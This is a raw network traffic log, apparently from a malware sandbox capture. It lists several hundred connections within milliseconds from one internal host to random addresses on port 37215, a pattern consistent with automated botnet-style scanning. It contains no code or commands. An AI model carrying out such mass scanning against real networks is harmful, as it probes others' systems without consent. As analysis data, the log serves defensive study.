Feb 19, 2024 18:36:18.840585947 CET	18052	37215	192.168.2.15	138.94.134.17
Feb 19, 2024 18:36:18.840604067 CET	18052	37215	192.168.2.15	138.231.32.204
Feb 19, 2024 18:36:18.840620041 CET	18052	37215	192.168.2.15	138.64.136.216
Feb 19, 2024 18:36:18.840635061 CET	18052	37215	192.168.2.15	138.116.197.65
Feb 19, 2024 18:36:18.840651989 CET	18052	37215	192.168.2.15	138.176.163.254
Feb 19, 2024 18:36:18.840671062 CET	18052	37215	192.168.2.15	138.221.209.160
Feb 19, 2024 18:36:18.840688944 CET	18052	37215	192.168.2.15	138.153.233.181
Feb 19, 2024 18:36:18.840764999 CET	18052	37215	192.168.2.15	138.190.117.185
Feb 19, 2024 18:36:18.840784073 CET	18052	37215	192.168.2.15	138.160.217.121
Feb 19, 2024 18:36:18.840801001 CET	18052	37215	192.168.2.15	138.74.110.202
Feb 19, 2024 18:36:18.840812922 CET	18052	37215	192.168.2.15	138.139.206.218
Feb 19, 2024 18:36:18.840835094 CET	18052	37215	192.168.2.15	138.2.65.112
Feb 19, 2024 18:36:18.840843916 CET	18052	37215	192.168.2.15	138.55.16.142
Feb 19, 2024 18:36:18.840873957 CET	18052	37215	192.168.2.15	138.36.119.25
Feb 19, 2024 18:36:18.840895891 CET	18052	37215	192.168.2.15	138.188.173.126
Feb 19, 2024 18:36:18.840910912 CET	18052	37215	192.168.2.15	138.114.83.110
Feb 19, 2024 18:36:18.840965986 CET	18052	37215	192.168.2.15	138.72.15.109
Feb 19, 2024 18:36:18.840967894 CET	18052	37215	192.168.2.15	138.127.235.104
Feb 19, 2024 18:36:18.840969086 CET	18052	37215	192.168.2.15	138.19.43.116
Feb 19, 2024 18:36:18.840974092 CET	18052	37215	192.168.2.15	138.112.219.1
Feb 19, 2024 18:36:18.840985060 CET	18052	37215	192.168.2.15	138.241.161.184
Feb 19, 2024 18:36:18.840987921 CET	18052	37215	192.168.2.15	138.230.47.52
Feb 19, 2024 18:36:18.841005087 CET	18052	37215	192.168.2.15	138.37.193.76
Feb 19, 2024 18:36:18.841054916 CET	18052	37215	192.168.2.15	138.62.151.153
Feb 19, 2024 18:36:18.841062069 CET	18052	37215	192.168.2.15	138.158.136.77
Feb 19, 2024 18:36:18.841120005 CET	18052	37215	192.168.2.15	138.200.173.180
Feb 19, 2024 18:36:18.841120005 CET	18052	37215	192.168.2.15	138.230.203.188
Feb 19, 2024 18:36:18.841131926 CET	18052	37215	192.168.2.15	138.245.253.38
Feb 19, 2024 18:36:18.841135979 CET	18052	37215	192.168.2.15	138.46.231.102
Feb 19, 2024 18:36:18.841181040 CET	18052	37215	192.168.2.15	138.171.203.186
Feb 19, 2024 18:36:18.841187954 CET	18052	37215	192.168.2.15	138.208.182.65
Feb 19, 2024 18:36:18.841228962 CET	18052	37215	192.168.2.15	138.38.192.34
Feb 19, 2024 18:36:18.841233015 CET	18052	37215	192.168.2.15	138.63.127.46
Feb 19, 2024 18:36:18.841243982 CET	18052	37215	192.168.2.15	138.186.89.4
Feb 19, 2024 18:36:18.841250896 CET	18052	37215	192.168.2.15	138.71.15.239
Feb 19, 2024 18:36:18.841300011 CET	18052	37215	192.168.2.15	138.246.166.208
Feb 19, 2024 18:36:18.841308117 CET	18052	37215	192.168.2.15	138.66.247.118
Feb 19, 2024 18:36:18.841347933 CET	18052	37215	192.168.2.15	138.230.12.46
Feb 19, 2024 18:36:18.841356993 CET	18052	37215	192.168.2.15	138.133.156.43
Feb 19, 2024 18:36:18.841361046 CET	18052	37215	192.168.2.15	138.129.183.232
Feb 19, 2024 18:36:18.841372013 CET	18052	37215	192.168.2.15	138.95.205.118
Feb 19, 2024 18:36:18.841377020 CET	18052	37215	192.168.2.15	138.178.59.103
Feb 19, 2024 18:36:18.841407061 CET	18052	37215	192.168.2.15	138.37.194.95
Feb 19, 2024 18:36:18.841408968 CET	18052	37215	192.168.2.15	138.49.114.107
Feb 19, 2024 18:36:18.841423035 CET	18052	37215	192.168.2.15	138.107.135.76
Feb 19, 2024 18:36:18.841475010 CET	18052	37215	192.168.2.15	138.71.58.139
Feb 19, 2024 18:36:18.841481924 CET	18052	37215	192.168.2.15	138.3.168.58
Feb 19, 2024 18:36:18.841485977 CET	18052	37215	192.168.2.15	138.27.123.245
Feb 19, 2024 18:36:18.841500044 CET	18052	37215	192.168.2.15	138.208.65.136
Feb 19, 2024 18:36:18.841540098 CET	18052	37215	192.168.2.15	138.35.13.188
Feb 19, 2024 18:36:18.841542959 CET	18052	37215	192.168.2.15	138.102.254.237
Feb 19, 2024 18:36:18.841586113 CET	18052	37215	192.168.2.15	138.247.169.80
Feb 19, 2024 18:36:18.841588020 CET	18052	37215	192.168.2.15	138.101.117.238
Feb 19, 2024 18:36:18.841666937 CET	18052	37215	192.168.2.15	138.221.21.57
Feb 19, 2024 18:36:18.841670990 CET	18052	37215	192.168.2.15	138.239.154.228
Feb 19, 2024 18:36:18.841682911 CET	18052	37215	192.168.2.15	138.71.209.154
Feb 19, 2024 18:36:18.841684103 CET	18052	37215	192.168.2.15	138.94.8.114
Feb 19, 2024 18:36:18.841684103 CET	18052	37215	192.168.2.15	138.169.173.136
Feb 19, 2024 18:36:18.841701984 CET	18052	37215	192.168.2.15	138.134.196.74
Feb 19, 2024 18:36:18.841708899 CET	18052	37215	192.168.2.15	138.226.104.247
Feb 19, 2024 18:36:18.841757059 CET	18052	37215	192.168.2.15	138.113.49.253
Feb 19, 2024 18:36:18.841763020 CET	18052	37215	192.168.2.15	138.50.29.128
Feb 19, 2024 18:36:18.841772079 CET	18052	37215	192.168.2.15	138.105.108.125
Feb 19, 2024 18:36:18.841795921 CET	18052	37215	192.168.2.15	138.135.87.3
Feb 19, 2024 18:36:18.841795921 CET	18052	37215	192.168.2.15	138.196.146.111
Feb 19, 2024 18:36:18.841818094 CET	18052	37215	192.168.2.15	138.217.210.146
Feb 19, 2024 18:36:18.841840029 CET	18052	37215	192.168.2.15	138.67.207.144
Feb 19, 2024 18:36:18.841851950 CET	18052	37215	192.168.2.15	138.49.78.177
Feb 19, 2024 18:36:18.841876030 CET	18052	37215	192.168.2.15	138.78.120.42
Feb 19, 2024 18:36:18.841906071 CET	18052	37215	192.168.2.15	138.185.127.209
Feb 19, 2024 18:36:18.841918945 CET	18052	37215	192.168.2.15	138.18.102.234
Feb 19, 2024 18:36:18.841938019 CET	18052	37215	192.168.2.15	138.158.255.33
Feb 19, 2024 18:36:18.841954947 CET	18052	37215	192.168.2.15	138.241.69.196
Feb 19, 2024 18:36:18.843105078 CET	18052	37215	192.168.2.15	138.187.82.59
Feb 19, 2024 18:36:18.843132973 CET	18052	37215	192.168.2.15	138.137.125.179
Feb 19, 2024 18:36:18.843185902 CET	18052	37215	192.168.2.15	138.240.204.218
Feb 19, 2024 18:36:18.843194962 CET	18052	37215	192.168.2.15	138.187.143.37
Feb 19, 2024 18:36:18.843266964 CET	18052	37215	192.168.2.15	138.154.99.176
Feb 19, 2024 18:36:18.843269110 CET	18052	37215	192.168.2.15	138.99.29.166
Feb 19, 2024 18:36:18.843269110 CET	18052	37215	192.168.2.15	138.112.222.191
Feb 19, 2024 18:36:18.843318939 CET	18052	37215	192.168.2.15	138.151.251.173
Feb 19, 2024 18:36:18.843327999 CET	18052	37215	192.168.2.15	138.177.59.238
Feb 19, 2024 18:36:18.843331099 CET	18052	37215	192.168.2.15	138.240.60.181
Feb 19, 2024 18:36:18.843336105 CET	18052	37215	192.168.2.15	138.140.62.30
Feb 19, 2024 18:36:18.843374014 CET	18052	37215	192.168.2.15	138.241.144.224
Feb 19, 2024 18:36:18.843373060 CET	18052	37215	192.168.2.15	138.3.53.251
Feb 19, 2024 18:36:18.843391895 CET	18052	37215	192.168.2.15	138.244.0.243
Feb 19, 2024 18:36:18.843408108 CET	18052	37215	192.168.2.15	138.255.125.182
Feb 19, 2024 18:36:18.843425989 CET	18052	37215	192.168.2.15	138.126.193.13
Feb 19, 2024 18:36:18.843442917 CET	18052	37215	192.168.2.15	138.164.200.171
Feb 19, 2024 18:36:18.843462944 CET	18052	37215	192.168.2.15	138.197.212.231
Feb 19, 2024 18:36:18.843476057 CET	18052	37215	192.168.2.15	138.178.151.85
Feb 19, 2024 18:36:18.843514919 CET	18052	37215	192.168.2.15	138.119.6.221
Feb 19, 2024 18:36:18.843518019 CET	18052	37215	192.168.2.15	138.92.2.31
Feb 19, 2024 18:36:18.843620062 CET	18052	37215	192.168.2.15	138.82.101.4
Feb 19, 2024 18:36:18.843622923 CET	18052	37215	192.168.2.15	138.34.211.42
Feb 19, 2024 18:36:18.843622923 CET	18052	37215	192.168.2.15	138.57.197.143
Feb 19, 2024 18:36:18.843631983 CET	18052	37215	192.168.2.15	138.250.247.74
Feb 19, 2024 18:36:18.843633890 CET	18052	37215	192.168.2.15	138.177.220.57
Feb 19, 2024 18:36:18.843633890 CET	18052	37215	192.168.2.15	138.38.97.94
Feb 19, 2024 18:36:18.843637943 CET	18052	37215	192.168.2.15	138.127.74.214
Feb 19, 2024 18:36:18.843648911 CET	18052	37215	192.168.2.15	138.159.230.117
Feb 19, 2024 18:36:18.843663931 CET	18052	37215	192.168.2.15	138.67.26.102
Feb 19, 2024 18:36:18.843699932 CET	18052	37215	192.168.2.15	138.137.231.153
Feb 19, 2024 18:36:18.843717098 CET	18052	37215	192.168.2.15	138.104.141.209
Feb 19, 2024 18:36:18.843719959 CET	18052	37215	192.168.2.15	138.223.25.10
Feb 19, 2024 18:36:18.843777895 CET	18052	37215	192.168.2.15	138.33.101.19
Feb 19, 2024 18:36:18.843790054 CET	18052	37215	192.168.2.15	138.126.14.36
Feb 19, 2024 18:36:18.843801022 CET	18052	37215	192.168.2.15	138.78.199.50
Feb 19, 2024 18:36:18.843802929 CET	18052	37215	192.168.2.15	138.220.174.207
Feb 19, 2024 18:36:18.843869925 CET	18052	37215	192.168.2.15	138.55.46.21
Feb 19, 2024 18:36:18.843926907 CET	18052	37215	192.168.2.15	138.144.88.179
Feb 19, 2024 18:36:18.843926907 CET	18052	37215	192.168.2.15	138.193.144.153
Feb 19, 2024 18:36:18.843926907 CET	18052	37215	192.168.2.15	138.210.75.76
Feb 19, 2024 18:36:18.843933105 CET	18052	37215	192.168.2.15	138.81.22.169
Feb 19, 2024 18:36:18.843944073 CET	18052	37215	192.168.2.15	138.152.243.192
Feb 19, 2024 18:36:18.843959093 CET	18052	37215	192.168.2.15	138.184.122.234
Feb 19, 2024 18:36:18.843961000 CET	18052	37215	192.168.2.15	138.255.105.173
Feb 19, 2024 18:36:18.843961000 CET	18052	37215	192.168.2.15	138.155.145.152
Feb 19, 2024 18:36:18.843961000 CET	18052	37215	192.168.2.15	138.146.229.137
Feb 19, 2024 18:36:18.843980074 CET	18052	37215	192.168.2.15	138.165.40.94
Feb 19, 2024 18:36:18.843996048 CET	18052	37215	192.168.2.15	138.135.111.82
Feb 19, 2024 18:36:18.844110966 CET	18052	37215	192.168.2.15	138.6.137.82
Feb 19, 2024 18:36:18.844115019 CET	18052	37215	192.168.2.15	138.246.112.75
Feb 19, 2024 18:36:18.844124079 CET	18052	37215	192.168.2.15	138.156.157.71
Feb 19, 2024 18:36:18.844125986 CET	18052	37215	192.168.2.15	138.205.178.218
Feb 19, 2024 18:36:18.844125986 CET	18052	37215	192.168.2.15	138.161.137.170
Feb 19, 2024 18:36:18.844130993 CET	18052	37215	192.168.2.15	138.239.241.117
Feb 19, 2024 18:36:18.844142914 CET	18052	37215	192.168.2.15	138.195.103.10
Feb 19, 2024 18:36:18.844145060 CET	18052	37215	192.168.2.15	138.81.98.66
Feb 19, 2024 18:36:18.844207048 CET	18052	37215	192.168.2.15	138.212.228.216
Feb 19, 2024 18:36:18.844228983 CET	18052	37215	192.168.2.15	138.159.197.75
Feb 19, 2024 18:36:18.844229937 CET	18052	37215	192.168.2.15	138.48.31.165
Feb 19, 2024 18:36:18.844234943 CET	18052	37215	192.168.2.15	138.204.52.70
Feb 19, 2024 18:36:18.844312906 CET	18052	37215	192.168.2.15	138.84.131.242
Feb 19, 2024 18:36:18.844336987 CET	18052	37215	192.168.2.15	138.191.86.163
Feb 19, 2024 18:36:18.844372034 CET	18052	37215	192.168.2.15	138.253.119.200
Feb 19, 2024 18:36:18.844373941 CET	18052	37215	192.168.2.15	138.93.54.148
Feb 19, 2024 18:36:18.844378948 CET	18052	37215	192.168.2.15	138.27.43.217
Feb 19, 2024 18:36:18.844382048 CET	18052	37215	192.168.2.15	138.34.44.45
Feb 19, 2024 18:36:18.844384909 CET	18052	37215	192.168.2.15	138.170.211.242
Feb 19, 2024 18:36:18.844388008 CET	18052	37215	192.168.2.15	138.62.84.81
Feb 19, 2024 18:36:18.844506979 CET	18052	37215	192.168.2.15	138.229.67.76
Feb 19, 2024 18:36:18.844515085 CET	18052	37215	192.168.2.15	138.47.223.174
Feb 19, 2024 18:36:18.844516039 CET	18052	37215	192.168.2.15	138.173.29.195
Feb 19, 2024 18:36:18.844521046 CET	18052	37215	192.168.2.15	138.113.173.46
Feb 19, 2024 18:36:18.844532013 CET	18052	37215	192.168.2.15	138.164.225.35
Feb 19, 2024 18:36:18.844532967 CET	18052	37215	192.168.2.15	138.77.248.71
Feb 19, 2024 18:36:18.844532967 CET	18052	37215	192.168.2.15	138.37.129.251
Feb 19, 2024 18:36:18.844549894 CET	18052	37215	192.168.2.15	138.124.236.82
Feb 19, 2024 18:36:18.844564915 CET	18052	37215	192.168.2.15	138.32.86.9
Feb 19, 2024 18:36:18.844583988 CET	18052	37215	192.168.2.15	138.223.189.91
Feb 19, 2024 18:36:18.844593048 CET	18052	37215	192.168.2.15	138.112.83.163
Feb 19, 2024 18:36:18.844593048 CET	18052	37215	192.168.2.15	138.168.214.9
Feb 19, 2024 18:36:18.844593048 CET	18052	37215	192.168.2.15	138.254.228.221
Feb 19, 2024 18:36:18.844603062 CET	18052	37215	192.168.2.15	138.191.18.117
Feb 19, 2024 18:36:18.844670057 CET	18052	37215	192.168.2.15	138.83.92.135
Feb 19, 2024 18:36:18.844717979 CET	18052	37215	192.168.2.15	138.77.133.82
Feb 19, 2024 18:36:18.844717979 CET	18052	37215	192.168.2.15	138.187.32.71
Feb 19, 2024 18:36:18.844723940 CET	18052	37215	192.168.2.15	138.57.87.150
Feb 19, 2024 18:36:18.844765902 CET	18052	37215	192.168.2.15	138.189.135.204
Feb 19, 2024 18:36:18.844769955 CET	18052	37215	192.168.2.15	138.197.225.86
Feb 19, 2024 18:36:18.844774008 CET	18052	37215	192.168.2.15	138.237.66.227
Feb 19, 2024 18:36:18.844819069 CET	18052	37215	192.168.2.15	138.39.169.223
Feb 19, 2024 18:36:18.844839096 CET	18052	37215	192.168.2.15	138.192.152.174
Feb 19, 2024 18:36:18.844841003 CET	18052	37215	192.168.2.15	138.10.144.127
Feb 19, 2024 18:36:18.844854116 CET	18052	37215	192.168.2.15	138.242.78.97
Feb 19, 2024 18:36:18.844855070 CET	18052	37215	192.168.2.15	138.180.46.131
Feb 19, 2024 18:36:18.844856024 CET	18052	37215	192.168.2.15	138.241.16.56
Feb 19, 2024 18:36:18.844908953 CET	18052	37215	192.168.2.15	138.190.196.101
Feb 19, 2024 18:36:18.844912052 CET	18052	37215	192.168.2.15	138.41.121.53
Feb 19, 2024 18:36:18.844913006 CET	18052	37215	192.168.2.15	138.173.207.133
Feb 19, 2024 18:36:18.844928980 CET	18052	37215	192.168.2.15	138.111.237.29
Feb 19, 2024 18:36:18.844995022 CET	18052	37215	192.168.2.15	138.102.157.219
Feb 19, 2024 18:36:18.845001936 CET	18052	37215	192.168.2.15	138.123.50.233
Feb 19, 2024 18:36:18.845052004 CET	18052	37215	192.168.2.15	138.104.13.85
Feb 19, 2024 18:36:18.845072031 CET	18052	37215	192.168.2.15	138.84.118.234
Feb 19, 2024 18:36:18.845076084 CET	18052	37215	192.168.2.15	138.162.139.26
Feb 19, 2024 18:36:18.845144033 CET	18052	37215	192.168.2.15	138.109.179.28
Feb 19, 2024 18:36:18.845144987 CET	18052	37215	192.168.2.15	138.189.54.3
Feb 19, 2024 18:36:18.845159054 CET	18052	37215	192.168.2.15	138.157.180.5
Feb 19, 2024 18:36:18.845180988 CET	18052	37215	192.168.2.15	138.144.216.170
Feb 19, 2024 18:36:18.845186949 CET	18052	37215	192.168.2.15	138.223.121.80
Feb 19, 2024 18:36:18.845189095 CET	18052	37215	192.168.2.15	138.160.254.160
Feb 19, 2024 18:36:18.845202923 CET	18052	37215	192.168.2.15	138.32.241.194
Feb 19, 2024 18:36:18.845261097 CET	18052	37215	192.168.2.15	138.129.118.105
Feb 19, 2024 18:36:18.845300913 CET	18052	37215	192.168.2.15	138.204.124.116
Feb 19, 2024 18:36:18.845304012 CET	18052	37215	192.168.2.15	138.119.167.14
Feb 19, 2024 18:36:18.845314980 CET	18052	37215	192.168.2.15	138.234.240.203
Feb 19, 2024 18:36:18.845314980 CET	18052	37215	192.168.2.15	138.98.254.155
Feb 19, 2024 18:36:18.845319033 CET	18052	37215	192.168.2.15	138.144.181.86
Feb 19, 2024 18:36:18.845335007 CET	18052	37215	192.168.2.15	138.128.159.167
Feb 19, 2024 18:36:18.845338106 CET	18052	37215	192.168.2.15	138.106.16.153
Feb 19, 2024 18:36:18.845387936 CET	18052	37215	192.168.2.15	138.170.87.223
Feb 19, 2024 18:36:18.845393896 CET	18052	37215	192.168.2.15	138.98.238.75
Feb 19, 2024 18:36:18.845396042 CET	18052	37215	192.168.2.15	138.211.169.130
Feb 19, 2024 18:36:18.845462084 CET	18052	37215	192.168.2.15	138.158.189.183
Feb 19, 2024 18:36:18.845498085 CET	18052	37215	192.168.2.15	138.50.221.147
Feb 19, 2024 18:36:18.845499992 CET	18052	37215	192.168.2.15	138.206.58.241
Feb 19, 2024 18:36:18.845506907 CET	18052	37215	192.168.2.15	138.105.170.141
Feb 19, 2024 18:36:18.845513105 CET	18052	37215	192.168.2.15	138.151.186.215
Feb 19, 2024 18:36:18.845520973 CET	18052	37215	192.168.2.15	138.92.41.226
Feb 19, 2024 18:36:18.845545053 CET	18052	37215	192.168.2.15	138.213.130.7
Feb 19, 2024 18:36:18.845545053 CET	18052	37215	192.168.2.15	138.162.45.253
Feb 19, 2024 18:36:18.845612049 CET	18052	37215	192.168.2.15	138.203.110.218
Feb 19, 2024 18:36:18.845614910 CET	18052	37215	192.168.2.15	138.174.201.9
Feb 19, 2024 18:36:18.845614910 CET	18052	37215	192.168.2.15	138.115.148.187
Feb 19, 2024 18:36:18.845618963 CET	18052	37215	192.168.2.15	138.81.33.71
Feb 19, 2024 18:36:18.845695019 CET	18052	37215	192.168.2.15	138.171.57.6
Feb 19, 2024 18:36:18.845695019 CET	18052	37215	192.168.2.15	138.77.86.172
Feb 19, 2024 18:36:18.845719099 CET	18052	37215	192.168.2.15	138.81.241.71
Feb 19, 2024 18:36:18.845720053 CET	18052	37215	192.168.2.15	138.97.220.8
Feb 19, 2024 18:36:18.845741034 CET	18052	37215	192.168.2.15	138.148.238.243
Feb 19, 2024 18:36:18.845776081 CET	18052	37215	192.168.2.15	138.168.222.135
Feb 19, 2024 18:36:18.845779896 CET	18052	37215	192.168.2.15	138.169.250.192
Feb 19, 2024 18:36:18.845782042 CET	18052	37215	192.168.2.15	138.190.16.253
Feb 19, 2024 18:36:18.845834970 CET	18052	37215	192.168.2.15	138.151.113.27
Feb 19, 2024 18:36:18.845861912 CET	18052	37215	192.168.2.15	138.237.101.200
Feb 19, 2024 18:36:18.845902920 CET	18052	37215	192.168.2.15	138.46.252.199
Feb 19, 2024 18:36:18.845910072 CET	18052	37215	192.168.2.15	138.183.211.130
Feb 19, 2024 18:36:18.845910072 CET	18052	37215	192.168.2.15	138.16.12.254
Feb 19, 2024 18:36:18.845911026 CET	18052	37215	192.168.2.15	138.56.23.39
Feb 19, 2024 18:36:18.845926046 CET	18052	37215	192.168.2.15	138.190.123.126
Feb 19, 2024 18:36:18.845998049 CET	18052	37215	192.168.2.15	138.201.186.81
Feb 19, 2024 18:36:18.845998049 CET	18052	37215	192.168.2.15	138.92.179.238
Feb 19, 2024 18:36:18.845999002 CET	18052	37215	192.168.2.15	138.64.221.16
Feb 19, 2024 18:36:18.846014977 CET	18052	37215	192.168.2.15	138.237.247.209
Feb 19, 2024 18:36:18.846036911 CET	18052	37215	192.168.2.15	138.11.229.246
Feb 19, 2024 18:36:18.846139908 CET	18052	37215	192.168.2.15	138.78.150.112
Feb 19, 2024 18:36:18.846142054 CET	18052	37215	192.168.2.15	138.142.240.172
Feb 19, 2024 18:36:18.846142054 CET	18052	37215	192.168.2.15	138.82.80.162
Feb 19, 2024 18:36:18.846147060 CET	18052	37215	192.168.2.15	138.213.168.224
Feb 19, 2024 18:36:18.846148968 CET	18052	37215	192.168.2.15	138.122.174.16
Feb 19, 2024 18:36:18.846151114 CET	18052	37215	192.168.2.15	138.237.145.139
Feb 19, 2024 18:36:18.846151114 CET	18052	37215	192.168.2.15	138.212.206.67
Feb 19, 2024 18:36:18.846178055 CET	18052	37215	192.168.2.15	138.172.187.0
Feb 19, 2024 18:36:18.846187115 CET	18052	37215	192.168.2.15	138.224.206.247
Feb 19, 2024 18:36:18.846195936 CET	18052	37215	192.168.2.15	138.63.218.165
Feb 19, 2024 18:36:18.846220970 CET	18052	37215	192.168.2.15	138.246.164.42
Feb 19, 2024 18:36:18.846229076 CET	18052	37215	192.168.2.15	138.156.16.86
Feb 19, 2024 18:36:18.846229076 CET	18052	37215	192.168.2.15	138.83.137.200
Feb 19, 2024 18:36:18.846328974 CET	18052	37215	192.168.2.15	138.146.44.251
Feb 19, 2024 18:36:18.846329927 CET	18052	37215	192.168.2.15	138.169.180.21
Feb 19, 2024 18:36:18.846333027 CET	18052	37215	192.168.2.15	138.181.235.57
Feb 19, 2024 18:36:18.846338034 CET	18052	37215	192.168.2.15	138.97.153.77
Feb 19, 2024 18:36:18.846343994 CET	18052	37215	192.168.2.15	138.33.84.0
Feb 19, 2024 18:36:18.846359968 CET	18052	37215	192.168.2.15	138.145.66.223
Feb 19, 2024 18:36:18.846414089 CET	18052	37215	192.168.2.15	138.113.240.156
Feb 19, 2024 18:36:18.846455097 CET	18052	37215	192.168.2.15	138.220.172.118
Feb 19, 2024 18:36:18.846460104 CET	18052	37215	192.168.2.15	138.66.91.64
Feb 19, 2024 18:36:18.846465111 CET	18052	37215	192.168.2.15	138.96.250.181
Feb 19, 2024 18:36:18.846472979 CET	18052	37215	192.168.2.15	138.135.174.163
Feb 19, 2024 18:36:18.846472979 CET	18052	37215	192.168.2.15	138.56.37.65
Feb 19, 2024 18:36:18.846493959 CET	18052	37215	192.168.2.15	138.210.149.101
Feb 19, 2024 18:36:18.846535921 CET	18052	37215	192.168.2.15	138.159.63.249
Feb 19, 2024 18:36:18.846548080 CET	18052	37215	192.168.2.15	138.6.95.45
Feb 19, 2024 18:36:18.846553087 CET	18052	37215	192.168.2.15	138.106.108.13
Feb 19, 2024 18:36:18.846580029 CET	18052	37215	192.168.2.15	138.6.71.140
Feb 19, 2024 18:36:18.846630096 CET	18052	37215	192.168.2.15	138.3.158.150
Feb 19, 2024 18:36:18.846703053 CET	18052	37215	192.168.2.15	138.237.214.78
Feb 19, 2024 18:36:18.846703053 CET	18052	37215	192.168.2.15	138.30.176.250
Feb 19, 2024 18:36:18.846705914 CET	18052	37215	192.168.2.15	138.246.141.148
Feb 19, 2024 18:36:18.846710920 CET	18052	37215	192.168.2.15	138.138.15.209
Feb 19, 2024 18:36:18.846715927 CET	18052	37215	192.168.2.15	138.13.179.137
Feb 19, 2024 18:36:18.846715927 CET	18052	37215	192.168.2.15	138.89.198.50
Feb 19, 2024 18:36:18.846744061 CET	18052	37215	192.168.2.15	138.186.116.36
Feb 19, 2024 18:36:18.846782923 CET	18052	37215	192.168.2.15	138.175.41.215
Feb 19, 2024 18:36:18.846837044 CET	18052	37215	192.168.2.15	138.249.213.85
Feb 19, 2024 18:36:18.846837997 CET	18052	37215	192.168.2.15	138.44.68.41
Feb 19, 2024 18:36:18.846844912 CET	18052	37215	192.168.2.15	138.39.169.161
Feb 19, 2024 18:36:18.846844912 CET	18052	37215	192.168.2.15	138.132.33.75
Feb 19, 2024 18:36:18.846863031 CET	18052	37215	192.168.2.15	138.71.127.188
Feb 19, 2024 18:36:18.846911907 CET	18052	37215	192.168.2.15	138.24.57.200
Feb 19, 2024 18:36:18.846925020 CET	18052	37215	192.168.2.15	138.58.128.219
Feb 19, 2024 18:36:18.846929073 CET	18052	37215	192.168.2.15	138.47.22.154
Feb 19, 2024 18:36:18.846930981 CET	18052	37215	192.168.2.15	138.31.134.195
Feb 19, 2024 18:36:18.846946955 CET	18052	37215	192.168.2.15	138.136.226.54
Feb 19, 2024 18:36:18.847043991 CET	18052	37215	192.168.2.15	138.58.249.191
Feb 19, 2024 18:36:18.847050905 CET	18052	37215	192.168.2.15	138.95.34.117
Feb 19, 2024 18:36:18.847055912 CET	18052	37215	192.168.2.15	138.95.26.15
Feb 19, 2024 18:36:18.847059965 CET	18052	37215	192.168.2.15	138.61.79.113
Feb 19, 2024 18:36:18.847059965 CET	18052	37215	192.168.2.15	138.101.211.248
Feb 19, 2024 18:36:18.847079992 CET	18052	37215	192.168.2.15	138.1.18.80
Feb 19, 2024 18:36:18.847091913 CET	18052	37215	192.168.2.15	138.236.233.167
Feb 19, 2024 18:36:18.847091913 CET	18052	37215	192.168.2.15	138.61.240.12
Feb 19, 2024 18:36:18.847101927 CET	18052	37215	192.168.2.15	138.55.204.201
Feb 19, 2024 18:36:18.847196102 CET	18052	37215	192.168.2.15	138.127.231.112
Feb 19, 2024 18:36:18.847197056 CET	18052	37215	192.168.2.15	138.220.172.9
Feb 19, 2024 18:36:18.847207069 CET	18052	37215	192.168.2.15	138.110.142.47
Feb 19, 2024 18:36:18.847222090 CET	18052	37215	192.168.2.15	138.181.160.65
Feb 19, 2024 18:36:18.847239971 CET	18052	37215	192.168.2.15	138.202.59.191
Feb 19, 2024 18:36:18.847312927 CET	18052	37215	192.168.2.15	138.175.3.209
Feb 19, 2024 18:36:18.847313881 CET	18052	37215	192.168.2.15	138.107.207.152
Feb 19, 2024 18:36:18.847316980 CET	18052	37215	192.168.2.15	138.23.9.130
Feb 19, 2024 18:36:18.847316980 CET	18052	37215	192.168.2.15	138.70.92.148
Feb 19, 2024 18:36:18.847352982 CET	18052	37215	192.168.2.15	138.120.119.252
Feb 19, 2024 18:36:18.847359896 CET	18052	37215	192.168.2.15	138.228.249.212
Feb 19, 2024 18:36:18.847362995 CET	18052	37215	192.168.2.15	138.121.28.83
Feb 19, 2024 18:36:18.847362041 CET	18052	37215	192.168.2.15	138.213.120.58
Feb 19, 2024 18:36:18.847381115 CET	18052	37215	192.168.2.15	138.164.230.254
Feb 19, 2024 18:36:18.847425938 CET	18052	37215	192.168.2.15	138.22.224.245
Feb 19, 2024 18:36:18.847441912 CET	18052	37215	192.168.2.15	138.174.52.126
Feb 19, 2024 18:36:18.847455978 CET	18052	37215	192.168.2.15	138.203.99.229
Feb 19, 2024 18:36:18.847476006 CET	18052	37215	192.168.2.15	138.62.174.126
Feb 19, 2024 18:36:18.847537994 CET	18052	37215	192.168.2.15	138.156.244.182
Feb 19, 2024 18:36:18.847558022 CET	18052	37215	192.168.2.15	138.102.255.188
Feb 19, 2024 18:36:18.847563982 CET	18052	37215	192.168.2.15	138.57.47.201
Feb 19, 2024 18:36:18.847568035 CET	18052	37215	192.168.2.15	138.119.171.237
Feb 19, 2024 18:36:18.847570896 CET	18052	37215	192.168.2.15	138.211.8.114
Feb 19, 2024 18:36:18.847587109 CET	18052	37215	192.168.2.15	138.12.36.231
Feb 19, 2024 18:36:18.847605944 CET	18052	37215	192.168.2.15	138.128.145.194
Feb 19, 2024 18:36:18.847649097 CET	18052	37215	192.168.2.15	138.31.46.215
Feb 19, 2024 18:36:18.847703934 CET	18052	37215	192.168.2.15	138.1.126.59
Feb 19, 2024 18:36:18.847703934 CET	18052	37215	192.168.2.15	138.69.143.153
Feb 19, 2024 18:36:18.847711086 CET	18052	37215	192.168.2.15	138.235.208.40
Feb 19, 2024 18:36:18.847728968 CET	18052	37215	192.168.2.15	138.75.47.182
Feb 19, 2024 18:36:18.847731113 CET	18052	37215	192.168.2.15	138.5.193.90
Feb 19, 2024 18:36:18.847774029 CET	18052	37215	192.168.2.15	138.176.54.90
Feb 19, 2024 18:36:18.847779036 CET	18052	37215	192.168.2.15	138.41.238.102
Feb 19, 2024 18:36:18.847798109 CET	18052	37215	192.168.2.15	138.201.183.229
Feb 19, 2024 18:36:18.847815990 CET	18052	37215	192.168.2.15	138.22.17.253
Feb 19, 2024 18:36:18.847834110 CET	18052	37215	192.168.2.15	138.34.208.232
Feb 19, 2024 18:36:18.847887039 CET	18052	37215	192.168.2.15	138.90.105.78
Feb 19, 2024 18:36:18.847930908 CET	18052	37215	192.168.2.15	138.204.50.25
Feb 19, 2024 18:36:18.847932100 CET	18052	37215	192.168.2.15	138.19.181.227
Feb 19, 2024 18:36:18.847932100 CET	18052	37215	192.168.2.15	138.148.219.251
Feb 19, 2024 18:36:18.847932100 CET	18052	37215	192.168.2.15	138.120.204.75
Feb 19, 2024 18:36:18.847935915 CET	18052	37215	192.168.2.15	138.215.176.32
Feb 19, 2024 18:36:18.847935915 CET	18052	37215	192.168.2.15	138.209.203.5
Feb 19, 2024 18:36:18.847958088 CET	18052	37215	192.168.2.15	138.101.71.242
Feb 19, 2024 18:36:18.847979069 CET	18052	37215	192.168.2.15	138.131.100.53
Feb 19, 2024 18:36:18.848001957 CET	18052	37215	192.168.2.15	138.10.50.61
Feb 19, 2024 18:36:18.848032951 CET	18052	37215	192.168.2.15	138.167.141.145
